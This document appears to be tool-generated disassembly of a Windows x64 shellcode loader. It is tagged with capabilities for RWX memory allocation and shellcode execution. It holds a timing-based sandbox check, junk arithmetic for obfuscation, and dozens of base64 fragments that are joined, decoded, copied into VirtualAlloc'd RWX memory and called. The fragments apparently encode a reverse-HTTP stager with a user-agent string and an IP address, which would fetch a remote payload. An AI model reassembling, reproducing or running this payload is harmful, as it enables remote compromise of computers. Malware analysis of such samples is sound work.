Function at 0x140001730
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x640
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5d0], ecx
mov qword [rbp + 0x5d8], rdx
call sym.__main
call sym.clock
mov dword [rbp + 0x5bc], eax
mov dword [section..data], 0
mov ecx, 0x83
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x5b8], eax
mov dword [section..data], 0
mov ecx, 0x950
call sym.malloc
mov qword [rbp + 0x5b0], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0x82
jle 0x1400023e8
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0xe6
jg 0x1400023e8
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.KNycY
mov rcx, rax
call sym.printf
lea rax, str.OTA5MGZjNDg4M2U0ZjBlOGM4MDAwMDAwNDE1MTQxNTA1MjUxNTY0ODMxZDI2NTQ4OGI1MjYwNDg4YjUyMTg0ODhiNTI
mov qword [rbp + 0x5a8], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.yMDQ4OGI3MjUwNDgwZmI3NGE0YTRkMzFjOTQ4MzFjMGFj
mov qword [rbp + 0x5a0], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.M2M2MTdjMDIyYzIwNDFjMWM5MGQ0MTAxYzFlMmVkNTI0MTUxNDg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMD
mov qword [rbp + 0x598], rax
mov dword [section..data], 0
lea rax, str.I3NTcyOGI4MDg4MDAwM
mov qword [rbp + 0x590], rax
mov dword [section..data], 0
lea rax, str.DAwNDg4NWMwNzQ2NzQ4MDFkMDUwOGI0ODE4NDQ4YjQwMjA0OTAxZDBlMzU2NDhm
mov qword [rbp + 0x588], rax
mov dword [section..data], 0
lea rax, str.ZmM5NDE4YjM0ODg0ODAxZDY0ZDMxY
mov qword [rbp + 0x580], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.zk0ODMxYzBhYzQxYzFjOTBkNDEwMWMxMzhlMDc1ZjE0YzAzNGMyNDA4NDUzOWQxNzVkODU4NDQ4YjQwMjQ0OTAxZ
mov qword [rbp + 0x578], rax
mov dword [section..data], 0
lea rax, str.DA2NjQxOGIwYzQ4NDQ4YjQwMWM0OTAxZDA0MThiMDQ4ODQ4MDFkMDQxNTg0MTU4NWU1OTVhNDE
mov qword [rbp + 0x570], rax
mov dword [section..data], 0
lea rax, str.1ODQxNTk0MTVhNDg4M2VjMjA0MTUyZmZlMDU4NDE1OTVhNDg4YjEyZTk0ZmZmZmZmZjVkNmEwMDQ5YmU3Nz
mov qword [rbp + 0x568], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.Y5NmU2OTZlNjU3NDAwNDE1NjQ5ODllNjRjODlmMTQxYmE0Yzc3MjYwN2ZmZDU0ODMxYzk0ODMxZDI0Z
mov qword [rbp + 0x560], rax
mov dword [section..data], 0
lea rax, str.DMxYzA0ZDMx
mov qword [rbp + 0x558], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.Yzk0MTUwNDE1MDQxYmEzYTU2N
mov qword [rbp + 0x550], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.zlhN2ZmZDVlYjczNWE0ODg5YzE0MWI4NWMxMTAwMDA0ZDMxYzk0MTUxND
mov qword [rbp + 0x548], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.E1MTZhMDM0MT
mov qword [rbp + 0x540], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.UxNDFiYTU3ODk5ZmM2ZmZkNWViNTk1YjQ4ODljMTQ4MzFkMjQ5ODlkODRkMzFjOTUyNjgwMDAyNDA4NDUyNTI0MWJhZWI1N
mov qword [rbp + 0x538], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.TJlM2JmZmQ1NDg4OWM2NDg4M2MzNT
mov qword [rbp + 0x530], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.A2YTBhNWY0ODg5ZjE0ODg5ZGE0OWM3YzBmZmZmZmZmZjRkMzFjOTUyNTI0MWJhMmQwNjE4N2JmZmQ1ODVjMDBmODU5ZDAxMDAw
mov qword [rbp + 0x528], rax
mov dword [section..data], 0
lea rax, str.MDQ4ZmZjZjBmODQ4YzAxMDAwMGViZDNlOWU0MDEwMDAwZThhMmZmZmZmZjJmNDg2NTZi
mov qword [rbp + 0x520], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.NDUwMDcwN2Y2MGY3Nzk2NjdkYTNjMTQyNzZjYTIzODUyNDdkMzRlZTgz
mov qword [rbp + 0x518], rax
mov dword [section..data], 0
lea rax, str.OWVkNDQ5ZjNlNzk3OWFlZjJhOGMyNzAwNzE1MTI0MGE3MzFmZmUwNjM3MjVlNWViOGE2NDQxMjg3MW
mov qword [rbp + 0x510], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.JjYWQzZGIwNWJjM2NiMTc4OWM4YTZlMGYyMDRlNjc4MjU5MmI4
mov qword [rbp + 0x508], rax
mov dword [section..data], 0
lea rax, str.ODdjNzU5YThkMTM0MDA1NTczNjU3MjJkNDE2NzY1NmU3NDNhM
mov qword [rbp + 0x500], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.jA0ZDZmN2E2OTZjNmM2MTJmMzUyZTMwMjAyODYzNmY2ZDcwNjE3NDY5NjI
mov qword [rbp + 0x4f8], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.2YzY1M2IyMDRkNTM0OTQ1MjAzMTMwMmUzMDNiMjA1NzY5NmU2NDZm
mov qword [rbp + 0x4f0], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.Nzc3MzIwNGU1NDIwMzYyZTMyM2IyMDU3NGY1NzM2MzQzYjIwNTQ3MjY5NjQ2NTZlNz
mov qword [rbp + 0x4e8], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.QyZjM2MmUzMDNiMjA1ND
mov qword [rbp + 0x4e0], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.ZmNzU2MzY4M2IyMDQxNTM1NTMyNGE1MzI5MGQwYTAwNTdiNzMzMGU0MWY1MWNmMzczMGRhMTYxMTFhNGIyNj
mov qword [rbp + 0x4d8], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.RlMjJiY2IwNDM4NmNiMmI2MzI1ZDA2YzRmOTQ3NDkyMDBkY2FhOTBiYWMxYTc3NzdiNDE0YjNlMDBjND
mov qword [rbp + 0x4d0], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.kyYTE4ODA2Y2RlMWY2ZmU4ZWFjNDdiZTNmOGZhMm
mov qword [rbp + 0x4c8], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.E0MDllMTAxYzlhNjE3Zjk3OWIzM2E4ZjYzNmY3ZWQ0Y2VjZDVhMTY4NmQ3MjRkMDIyNjM4MGRmMDd
mov qword [rbp + 0x4c0], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.iNjgxYzFlNTJhNjY4ZDc0NjI1NzFmYmEyY
mov qword [rbp + 0x4b8], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.2E3ZjNkYmIyZjY5M2U1NDg1ZmU1NzEzYmFlMDkxYTEwYTY1Njk1ZTFiYTMxM2YzMGIyZTg4NWFhZTE2N2E0MjVlM2
mov qword [rbp + 0x4b0], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.VhYjJjMTA4N2Q1ZWI2NjQ1NjhlYWM5YTRiZmEyMDI1ZTgxNTNiMGZlZWZmYWM1YzE2YmJm
mov qword [rbp + 0x4a8], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.Njg2MDc0YzYzOTZmMTYzMTI4
mov qword [rbp + 0x4a0], rax
mov dword [section..data], 0
lea rax, str.ZmQ5Y2RmZTFm
mov qword [rbp + 0x498], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.Y2E4YWMxNzRhZDVkNjYxZTQwNmQ
mov qword [rbp + 0x490], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.5Y2NmMmFmMjZmMzQ1ZGJhNmNkMGVkYTdiYzRmZGUxNmEwMDQxYmVm
mov qword [rbp + 0x488], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.MGI1YTI1NmZmZDU0ODMxYzliYTAwMDA0MDAwNDFiODAwMTAwMDAw
mov qword [rbp + 0x480], rax
mov dword [section..data], 0
lea rax, str.NDFiOTQwMDAwMDAwNDFiYTU4YTQ1M2U1ZmZkNTQ4OTM1MzUzNDg4O
mov qword [rbp + 0x478], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.WU3NDg4OWYxNDg4OWRhNDFiODAwMjAwMDAwNDk4OWY5NDFiYTEyOTY4OWUyZmZkNTQ4ODNjNDIwODVjMDc0YjY2NjhiMDc0OD
mov qword [rbp + 0x470], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.AxYzM4NWMwNzVkNzU4NTg1ODQ4MDUwMDAwMDAwMDUwYzNlODlmZmRmZ
mov qword [rbp + 0x468], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.mZmMzQzNzJlMzEzMDM5MmUzMTM3MzgyZTMxMzEwMDNhZGU2OGIx
mov qword [rbp + 0x460], rax
mov dword [section..data], 0
lea rax, [rbp - 0x60]
mov edx, 0x4a9
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcpy
mov dword [section..data], 0
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x5b0]
lea rdx, [0x1400059fc]
mov rcx, rax
call sym.URzkVB
mov qword [rbp + 0x458], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x458]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.OslRepl
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4a9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x450], rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x450]
mov r8d, 0x4a9
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0x450]
call rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov edx, eax
lea rax, [0x1400059fe]
mov rcx, rax
call sym.printf
jmp 0x14000240d
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.KNycY
mov rcx, rax
call sym.printf
nop
add rsp, 0x640
pop rbp
ret